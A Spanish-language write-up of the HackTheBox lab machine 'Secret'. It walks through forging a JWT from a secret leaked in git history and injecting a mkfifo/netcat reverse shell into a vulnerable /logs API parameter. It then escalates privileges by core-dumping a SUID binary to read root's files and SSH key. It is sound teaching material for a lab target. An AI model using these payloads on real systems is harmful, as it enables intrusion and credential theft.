Saludos pentesters, en esta ocasión vamos a resolver la máquina de HackTheBox llamada Secret.

Fecha de Resolución

Fase de Reconocimiento

Empezamos con el reconocimiento de puertos lanzando un TCP SYN Port Scan

Parámetro Descripción
-p- Escanea el rango completo de puertos (hasta el 65535)
-sS Realiza un escaneo de tipo SYN port scan
–min-rate Enviar paquetes no más lentos que 5000 por segundo
–open Mostrar sólo los puertos que esten abiertos
-vvv Triple verbose para ver en consola los resultados
-n No efectuar resolución DNS
-Pn No efectuar descubrimiento de hosts
-oG Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar
p3ntest1ng:~$ nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.120 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-26 21:51 CET
Initiating SYN Stealth Scan at 21:51
Scanning 10.10.11.120 [65535 ports]
Discovered open port 22/tcp on 10.10.11.120
Discovered open port 80/tcp on 10.10.11.120
Discovered open port 3000/tcp on 10.10.11.120
Completed SYN Stealth Scan at 21:51, 12.94s elapsed (65535 total ports)
Nmap scan report for 10.10.11.120
Host is up, received user-set (0.14s latency).
Scanned at 2022-03-26 21:51:01 CET for 13s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.29 seconds
           Raw packets sent: 65821 (2.896MB) | Rcvd: 65818 (2.633MB)

Identificamos los siguientes puertos abiertos:

Puerto Descripción
22 SSH - SSH o Secure Shell
80 HTTP - Servidor web
3000 De momento nos lo marca como PPP pero no sabemos qué es realmente

Vamos a obtener más información con un escaneo específico sobre los puertos que hemos encontrado.

Parámetro Descripción
-p Escanea sobre los puertos especificados
-sC Muestra todos los scripts relacionados con el servicio
-sV Determina la versión del servicio
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap -sCV -p22,80,3000 10.10.11.120 -oN targeted

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-26 21:54 CET
Nmap scan report for secret.htb (10.10.11.120)
Host is up (0.079s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.64 seconds

Con esto descubrimos a qué servicio pertenece realmente el puerto 3000 del cual no teníamos más información anteriormente:

Puerto Descripción
3000 Node.js (Express Middleware)

Veamos con qué está desarrollada la página web utilizando la herramienta whatweb

p3ntest1ng:~$ whatweb http://10.10.11.120/
http://10.10.11.120/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.120], Lightbox, Meta-Author[Xiaoying Riley at 3rd Wave Media], Script, Title[DUMB Docs], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]

Aquí no hay mucho que nos sirva salvo algunas referencias a tener en cuenta. Asignamos un hostname a la máquina en el archivo /etc/hosts para mayor comodidad.

p3ntest1ng:~$ echo '10.10.11.120 secret.htb' | sudo tee -a /etc/hosts

Probemos con wfuzz a ver qué encontramos, primero con un diccionario pequeño y si no encuentro nada, usaré uno más grande.

Parámetro Descripción
-c Muestra el output en formato colorizado
-w Utiliza el diccionario especificado
–hc 404 Oculta todos los códigos de estado 404
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://secret.htb/FUZZ 2>/dev/null

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://secret.htb/FUZZ
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000001:   200        265 L    668 W      12872 Ch    "http://secret.htb/"                                                                                                        
000000428:   200        0 L      12 W       93 Ch       "api"                                                                                                                       
000000499:   301        10 L     16 W       179 Ch      "assets"                                                                                                                    
000001319:   200        486 L    1119 W     20720 Ch    "docs"                                                                                                                      
000001340:   301        10 L     16 W       183 Ch      "download"                                                                                                                  

Total time: 0
Processed Requests: 4614
Filtered Requests: 4609
Requests/sec.: 0

Tenemos algo interesante, vemos un directorio api, así que vamos a revisar la página web para obtener más información.

Website

Una vez dentro lo primero que me llama la atención es que podemos descargar un archivo con nombre files.zip, también nos hablan de una API y de tokens JWT. Nos descargamos el .zip y lo descomprimimos:

p3ntest1ng:~$ 7z x files.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21

Scanning the drive for archives:
1 file, 28849603 bytes (28 MiB)

Extracting archive: files.zip
--            
Path = files.zip
Type = zip
Physical Size = 28849603

Everything is Ok                                                               

Folders: 769
Files: 8405
Size:       54594055
Compressed: 28849603

Al descomprimirlo nos crea un directorio local-web, donde se observa que es un repositorio git, del cual podemos extraer información con una serie de scripts para la ocasión. Para ello nos clonamos el siguiente repositorio: https://github.com/internetwache/GitTools

p3ntest1ng:~$ ls -la local-web
drwxrwx--- root vboxsf 4.0 KB Fri Sep  3 07:57:09 2021  .
drwxrwx--- root vboxsf   0 B  Sat Mar 26 23:03:19 2022  ..
drwxrwx--- root vboxsf 4.0 KB Wed Sep  8 20:33:32 2021  .git
drwxrwx--- root vboxsf   0 B  Fri Aug 13 06:42:59 2021  model
drwxrwx--- root vboxsf  48 KB Fri Aug 13 06:42:59 2021  node_modules
drwxrwx--- root vboxsf   0 B  Fri Sep  3 07:54:52 2021  public
drwxrwx--- root vboxsf   0 B  Fri Sep  3 08:32:00 2021  routes
drwxrwx--- root vboxsf   0 B  Fri Aug 13 06:42:59 2021  src
.rwxrwx--- root vboxsf  72 B  Fri Sep  3 07:59:44 2021  .env
.rwxrwx--- root vboxsf 885 B  Fri Sep  3 07:56:23 2021  index.js
.rwxrwx--- root vboxsf  68 KB Fri Aug 13 06:42:59 2021  package-lock.json
.rwxrwx--- root vboxsf 491 B  Fri Aug 13 06:42:59 2021  package.json
.rwxrwx--- root vboxsf 651 B  Fri Aug 13 06:42:59 2021  validations.js

Una vez hecho, nos metemos en el directorio GitTools/Extractor y ejecutamos el script extractor.sh

p3ntest1ng:~$ ./extractor.sh ../../content/local-web ../../content/dump

Esto tardará un buen rato ya que el repositorio tiene un tamaño superior a 54MB. Mientras termina, revisamos el directorio routes dentro de local-web donde hay algunos archivos JavaScript interesantes.

p3ntest1ng:~$ ls -la local-web/routes
drwxrwx--- root vboxsf   0 B  Fri Sep  3 08:32:00 2021  .
drwxrwx--- root vboxsf 4.0 KB Fri Sep  3 07:57:09 2021  ..
.rwxrwx--- root vboxsf 2.1 KB Fri Aug 13 06:42:59 2021  auth.js
.rwxrwx--- root vboxsf 666 B  Fri Aug 13 06:42:59 2021  forgot.js
.rwxrwx--- root vboxsf 1.5 KB Wed Sep  8 20:32:32 2021  private.js
.rwxrwx--- root vboxsf 390 B  Fri Aug 13 06:42:59 2021  verifytoken.js

El primero que analizo es auth.js y vemos que en el proceso de login se crea el token JWT que va firmado con un TOKEN_SECRET

...[snip]...
  // login 
  
  router.post('/login', async  (req , res) => {
  
      const { error } = loginValidation(req.body)
      if (error) return res.status(400).send(error.details[0].message);
  
      // check if email is okay 
      const user = await User.findOne({ email: req.body.email })
      if (!user) return res.status(400).send('Email is wrong');
  
      // check password 
      const validPass = await bcrypt.compare(req.body.password, user.password)
      if (!validPass) return res.status(400).send('Password is wrong');
  
  
      // create jwt 
      const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
      res.header('auth-token', token).send(token);
  
  })
...[snip]...

Al cabo de un rato largo, una vez que ha terminado el script de extracción, nos crea un directorio dump, en el cual veremos directorios como estos (correspondientes a distintos commits):

p3ntest1ng:~$ ls -la dump
drwxrwx--- root vboxsf 4.0 KB Fri Dec 31 01:07:47 2021  .
drwxrwx--- root vboxsf   0 B  Sat Mar 26 23:03:19 2022  ..
drwxrwx--- root vboxsf   0 B  Fri Dec 31 00:50:27 2021  0-3a367e735ee76569664bf7754eaaade7c735d702
drwxrwx--- root vboxsf   0 B  Fri Dec 31 00:59:23 2021  1-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
drwxrwx--- root vboxsf   0 B  Fri Dec 31 01:07:44 2021  2-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxrwx--- root vboxsf   0 B  Fri Dec 31 01:12:09 2021  3-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78

Haciendo un ls -la de cada uno de estos directorios, vemos que existe un archivo .env, el cual normalmente se utiliza para almacenar variables TOKEN. Veamos qué contienen estos archivos:

p3ntest1ng:~$ catn dump/0-3a367e735ee76569664bf7754eaaade7c735d702/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

p3ntest1ng:~$ catn dump/1-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

p3ntest1ng:~$ catn dump/2-55fe756a29268f9b4e786ae468952ca4a8df1bd8/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

p3ntest1ng:~$ catn dump/3-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

Vemos que en el último commit eliminaron el token hardcodeado. Teniendo el TOKEN_SECRET analicemos la sección Register user en la web, donde nos explican el funcionamiento de la API.

API User Register

API User Login

API User Login

API User Login

API User Login

API User Login

API User Login

API User Login

Hemos obtenido mucha información así que vamos a ir poniendo en claro lo que sabemos: Tenemos una API a la que podemos lanzar consultas, lo primero es registrarnos como usuario.

Necesitamos lanzar una petición POST al endpoint http://secret.htb:3000/api/user/register, podemos hacerlo con curl
El JSON tiene que estar formado así:

  {
	"name": "wildzarek",
	"email": "root@pentesting.net",
	"password": "wild1234"
  }
p3ntest1ng:~$ curl -s -X POST "http://secret.htb:3000/api/user/register" -H "Content-Type: application/json" \
                -d '{"name": "wildzarek", "email": "root@pentesting.net", "password": "wild1234"}'; echo
{"user":"wildzarek"}

Como vimos en la documentación, si la petición nos devuelve algo como {"user":"wildzarek"} significa que el registro ha ido bien. Ahora vamos a loguearnos con el usuario que acabamos de crear, haciendo otra petición a la API con curl. El JSON sería el siguiente:

  {
	"email": "root@pentesting.net",
	"password": "wild1234"
  }
p3ntest1ng:~$ curl -s -X POST "http://secret.htb:3000/api/user/login" -H "Content-Type: application/json" \
                -d '{"email": "root@pentesting.net", "password": "wild1234"}'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNmYTQ5NTQyZTU5NjA0NWJjZTAzNWEiLCJuYW1lIjoid2lsZHphcmVrIiwiZW1haWwiOiJyb290QHBlbnRlc3RpbmcubmV0IiwiaWF0IjoxNjQ4MzM4NDI1fQ.a7tfx8GG9QBPbJextCy-Jz3jAVEwkbXooMacLZ-G9T8

Teniendo un usuario válido y el token JWT, podemos lanzar una petición GET para verificar nuestro estado en la API.

p3ntest1ng:~$ curl -s -X GET "http://secret.htb:3000/api/priv" \
                -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNmYTQ5NTQyZTU5NjA0NWJjZTAzNWEiLCJuYW1lIjoid2lsZHphcmVrIiwiZW1haWwiOiJyb290QHBlbnRlc3RpbmcubmV0IiwiaWF0IjoxNjQ4MzM4NDI1fQ.a7tfx8GG9QBPbJextCy-Jz3jAVEwkbXooMacLZ-G9T8" | jq
{
  "role": {
    "role": "you are normal user",
    "desc": "wildzarek"
  }
}

No tenemos privilegios, somos un usuario común y corriente. Veamos cómo podemos obtener el rol de administrador. Anteriormente vimos que en el directorio routes teníamos varios archivos javascript. Analicemos verifytoken.js.

p3ntest1ng:~$ cd local-web/routes && ll
.rwxrwx--- root vboxsf 2.1 KB Fri Aug 13 06:42:59 2021  auth.js
.rwxrwx--- root vboxsf 666 B  Fri Aug 13 06:42:59 2021  forgot.js
.rwxrwx--- root vboxsf 1.5 KB Wed Sep  8 20:32:32 2021  private.js
.rwxrwx--- root vboxsf 390 B  Fri Aug 13 06:42:59 2021  verifytoken.js
const jwt = require("jsonwebtoken");
  
  module.exports = function (req, res, next) {
      const token = req.header("auth-token");
      if (!token) return res.status(401).send("Access Denied");
  
      try {
          const verified = jwt.verify(token, process.env.TOKEN_SECRET);
          req.user = verified;
          next();
      } catch (err) {
          res.status(400).send("Invalid Token");
      }
  };

Según este script de verificación, nuestro token debe estar firmado con el TOKEN_SECRET que encontramos anteriormente. Podemos hacer todo esto en la página https://jwt.io/
Veamos cómo está construido nuestro JWT (algo que ya vimos en la documentación de la web).

JSON Web Token

Podemos modificar nuestro token para cambiar nuestro usuario a theadmin, que sabemos que existe en la API y tiene privilegios. Finalmente firmamos el nuevo token con el TOKEN_SECRET y copiamos el JWT generado.

JWT Signed

Volvamos a probar con este nuevo token para ver si es válido y nos loguea con privilegios.

p3ntest1ng:~$ curl -s -X GET "http://secret.htb:3000/api/priv" \
                -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNmYTQ5NTQyZTU5NjA0NWJjZTAzNWEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAcGVudGVzdGluZy5uZXQiLCJpYXQiOjE2NDgzMzg0MjV9.F4KOyd5y9h6hTc32fCP2eUHq89jQb2ZoW3hJDGJsScA" | jq
{
  "creds": {
    "role": "admin",
    "username": "theadmin",
    "desc": "welcome back admin"
  }
}

Perfecto, el sistema nos reconoce como administrador. Vamos a analizar otro JavaScript.
Si nos fijamos en esta parte, vemos que la ruta /logs es vulnerable a Remote Code Execution:

private.js

...[snip]...
router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})
...[snip]...

Fase de Explotación

Por lo tanto vamos a ganar acceso generando una shell reversa que le pasaremos al endpoint mencionado. Nuestro payload es el siguiente:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.104 9999 >/tmp/f

Primero vamos a “encodearlo” para evitar posibles problemas utilizando la web https://www.urlencoder.io/

NOTA: También podrías ponerlo como base64, no hay problema, yo lo he hecho así porque quería hacerlo de otro modo distinto a lo habitual.

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.104%209999%20%3E%2Ftmp%2Ff

Nos ponemos en escucha con netcat por el puerto 9999 (o el que quieras):

p3ntest1ng:~$ nc -nlvp 9999
listening on [any] 9999 ...

Lanzamos la petición con curl al endpoint vulnerable:

NOTA: Es importante que antes de nuestro payload metamos un punto y coma, esto separa el comando de lo que haya delante.

p3ntest1ng:~$ curl -s -X GET "http://secret.htb/api/logs?file=;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.104%209999%20%3E%2Ftmp%2Ff" \
                -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNmYTQ5NTQyZTU5NjA0NWJjZTAzNWEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAcGVudGVzdGluZy5uZXQiLCJpYXQiOjE2NDgzMzg0MjV9.F4KOyd5y9h6hTc32fCP2eUHq89jQb2ZoW3hJDGJsScA" &; disown

Y finalmente obtenemos la esperada shell, pero antes de continuar vamos a realizar un tratamiento a la tty para mayor comodidad:

p3ntest1ng:~$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.16.104] from (UNKNOWN) [10.10.11.120] 45134
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
dasith@secret:~/local-web$ ^Z
zsh: suspended  nc -nlvp 9999
p3ntest1ng:~$ stty raw -echo; fg
[1]  + continued  nc -nlvp 9999
                               reset xterm
dasith@secret:~/local-web$ export TERM=xterm
dasith@secret:~/local-web$ export SHELL=bash
dasith@secret:~/local-web$ stty rows 43 columns 189

Y por último leemos la flag de usuario:

dasith@secret:~/local-web$ cd && ls
local-web  user.txt
dasith@secret:~$ cat user.txt
b059b84ef86644c8c6f1f085b999296e

Escalada de Privilegios

Vamos a comprobar los permisos a nivel de sudo en primer lugar.

dasith@secret:~/local-web$ sudo -l
[sudo] password for dasith: 
dasith@secret:~/local-web$ 

Nos pide contraseña, por lo tanto pasamos directamente a la búsqueda de posibles SUID.

dasith@secret:~/local-web$ find / -type f -perm -u=s 2>/dev/null | grep -vE "snap|lib"
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/opt/count

Lo primero que vemos es pkexec, podríamos aprovechar la vulnerabilidad y ganar acceso privilegiado en cuestión de segundos.

dasith@secret:~/local-web$ which pkexec | xargs ls -l
-rwsr-xr-x 1 root root 31032 May 26  2021 /usr/bin/pkexec

Nosotros vamos a resolver esta parte tal y como estaba previsto por el autor de la máquina. Sigamos. En el directorio /opt hay algo interesante, un binario count. Nos movemos al directorio y revisamos.

dasith@secret:~/local-web$ cd /opt && ls -l
total 32
-rw-r--r-- 1 root root  3736 Oct  7 10:01 code.c
-rwsr-xr-x 1 root root 17824 Oct  7 10:03 count
-rw-r--r-- 1 root root  4622 Oct  7 10:04 valgrind.log

Tenemos un archivo code.c así que vamos a leerlo. Este es el contenido:

...[snip]...
int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

Tras analizar esta parte del código (suprimí todo lo anterior por ser irrelevante), vemos que se está haciendo uso de CoreDump

¿Pero qué hace exactamente Core Dump?

Cuando ocurre una excepción mientras el programa se está ejecutando, se guardan en un archivo los datos almacenados en memoria por el binario.

Por lo tanto necesitamos provocar una excepción durante la ejecución de este programa para que sus datos queden volcados. Generalmente estos datos se guardan en la ruta /var/crash

dasith@secret:/opt$ ls /var/crash
_opt_count.0.crash  _opt_countzz.0.crash

Primero ejecutamos el binario, le pasamos por ejemplo /root/root.txt como ruta y presionamos las teclas Ctrl+Z para dejarlo en segundo plano.

Antes de la excepción:

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
dasith@secret:/opt$

Ahora tenemos que buscar el PID del proceso y matarlo con kill enviando una señal BUS. Existen muchas otras señales, vamos a listarlas:

dasith@secret:/opt$ kill -l
 1) SIGHUP	     2) SIGINT	     3) SIGQUIT	     4) SIGILL	     5) SIGTRAP
 6) SIGABRT	     7) SIGBUS	     8) SIGFPE	     9) SIGKILL	    10) SIGUSR1
11) SIGSEGV	    12) SIGUSR2	    13) SIGPIPE	    14) SIGALRM	    15) SIGTERM
16) SIGSTKFLT	17) SIGCHLD	    18) SIGCONT	    19) SIGSTOP	    20) SIGTSTP
21) SIGTTIN	    22) SIGTTOU	    23) SIGURG	    24) SIGXCPU	    25) SIGXFSZ
26) SIGVTALRM	27) SIGPROF	    28) SIGWINCH	29) SIGIO	    30) SIGPWR
31) SIGSYS      34) SIGRTMIN	35) SIGRTMIN+1	36) SIGRTMIN+2	37) SIGRTMIN+3
38) SIGRTMIN+4	39) SIGRTMIN+5	40) SIGRTMIN+6	41) SIGRTMIN+7	42) SIGRTMIN+8
43) SIGRTMIN+9	44) SIGRTMIN+10	45) SIGRTMIN+11	46) SIGRTMIN+12	47) SIGRTMIN+13
48) SIGRTMIN+14	49) SIGRTMIN+15	50) SIGRTMAX-14	51) SIGRTMAX-13	52) SIGRTMAX-12
53) SIGRTMAX-11	54) SIGRTMAX-10	55) SIGRTMAX-9	56) SIGRTMAX-8	57) SIGRTMAX-7
58) SIGRTMAX-6	59) SIGRTMAX-5	60) SIGRTMAX-4	61) SIGRTMAX-3	62) SIGRTMAX-2
63) SIGRTMAX-1	64) SIGRTMAX

Estas señales se pueden especificar de tres formas (dependiendo del sistema):

  • Usando su valor numérico. (Ejemplo: kill -1 o kill -s 1)
  • Usando el prefijo SIG. (Ejemplo: kill -SIGBUS)
  • Sin el prefijo SIG. (Ejemplo: kill -BUS)

Sigamos…

dasith@secret:/opt$ ps
    PID TTY          TIME CMD
   8195 pts/8    00:00:00 sh
   8196 pts/8    00:00:00 bash
   8934 pts/8    00:00:00 count
   8938 pts/8    00:00:00 ps
dasith@secret:/opt$ kill -BUS 8934
dasith@secret:/opt$ ps
    PID TTY          TIME CMD
   8195 pts/8    00:00:00 sh
   8196 pts/8    00:00:00 bash
   8934 pts/8    00:00:00 count
   8939 pts/8    00:00:00 ps

Sigue estando ahí pero si nos volvemos a la sesión con fg, vemos que se ha producido el error.

Después de la excepción:

dasith@secret:/opt$ fg
./count
Bus error (core dumped)

Con esto se ha generado un nuevo archivo en /var/crash

dasith@secret:/opt$ cd /var/crash && ls
_opt_count.0.crash  _opt_count.1000.crash  _opt_countzz.0.crash

Creamos un nuevo directorio dentro de la ruta /tmp con el nombre que queramos:

dasith@secret:/opt$ mkdir /tmp/pwned

Existe una herramienta llamada apport-unpack para poder desempacar este tipo de reportes.

dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/pwned
dasith@secret:/opt$ cd /tmp/pwned && ls -l
total 428
-rw-r--r-- 1 dasith dasith      5 Mar 27 03:19 Architecture
-rw-r--r-- 1 dasith dasith 380928 Mar 27 03:19 CoreDump
-rw-r--r-- 1 dasith dasith     24 Mar 27 03:19 Date
-rw-r--r-- 1 dasith dasith     12 Mar 27 03:19 DistroRelease
-rw-r--r-- 1 dasith dasith     10 Mar 27 03:19 ExecutablePath
-rw-r--r-- 1 dasith dasith     10 Mar 27 03:19 ExecutableTimestamp
-rw-r--r-- 1 dasith dasith      5 Mar 27 03:19 ProblemType
-rw-r--r-- 1 dasith dasith      7 Mar 27 03:19 ProcCmdline
-rw-r--r-- 1 dasith dasith      4 Mar 27 03:19 ProcCwd
-rw-r--r-- 1 dasith dasith     61 Mar 27 03:19 ProcEnviron
-rw-r--r-- 1 dasith dasith   2144 Mar 27 03:19 ProcMaps
-rw-r--r-- 1 dasith dasith   1336 Mar 27 03:19 ProcStatus
-rw-r--r-- 1 dasith dasith      1 Mar 27 03:19 Signal
-rw-r--r-- 1 dasith dasith     29 Mar 27 03:19 Uname
-rw-r--r-- 1 dasith dasith      3 Mar 27 03:19 UserGroups

Finalmente extraemos los strings del archivo CoreDump y con esto logramos ver entre todos los resultados la flag de root.

p3ntest1ng:~$ strings CoreDump
...[snip]...
/root/root.txt
6f9a8c764f59ac05f1df356622bb10e5
...[snip]...

Pero espera…no hemos conseguido una shell del sistema con todos los privilegios. Vamos a ello.

Lo más fácil sería repetir el proceso anterior pero apuntando al archivo id_rsa ubicado en /root/.ssh/id_rsa y cuando logremos leer la clave privada, la volcamos a un archivo en nuestro sistema y ajustamos los permisos de dicho archivo con chmod 600 secretkey

p3ntest1ng:~$ ssh -i secretkey 10.10.11.120
...[snip]...
root@secret:~# cd /root/ && ls
root.txt  snap
root@secret:~# cat root.txt
6f9a8c764f59ac05f1df356622bb10e5

Y eso sería todo, espero que os haya gustado y como siempre:

¡Gracias por leer hasta el final!

De esta máquina me ha gustado la progresión y la escalada de privilegios, ya que es algo que no había visto anteriormente y me ha servido para aprender sobre el Core Dump de binarios.

Nos vemos en un próximo. ¡Feliz hacking! ☠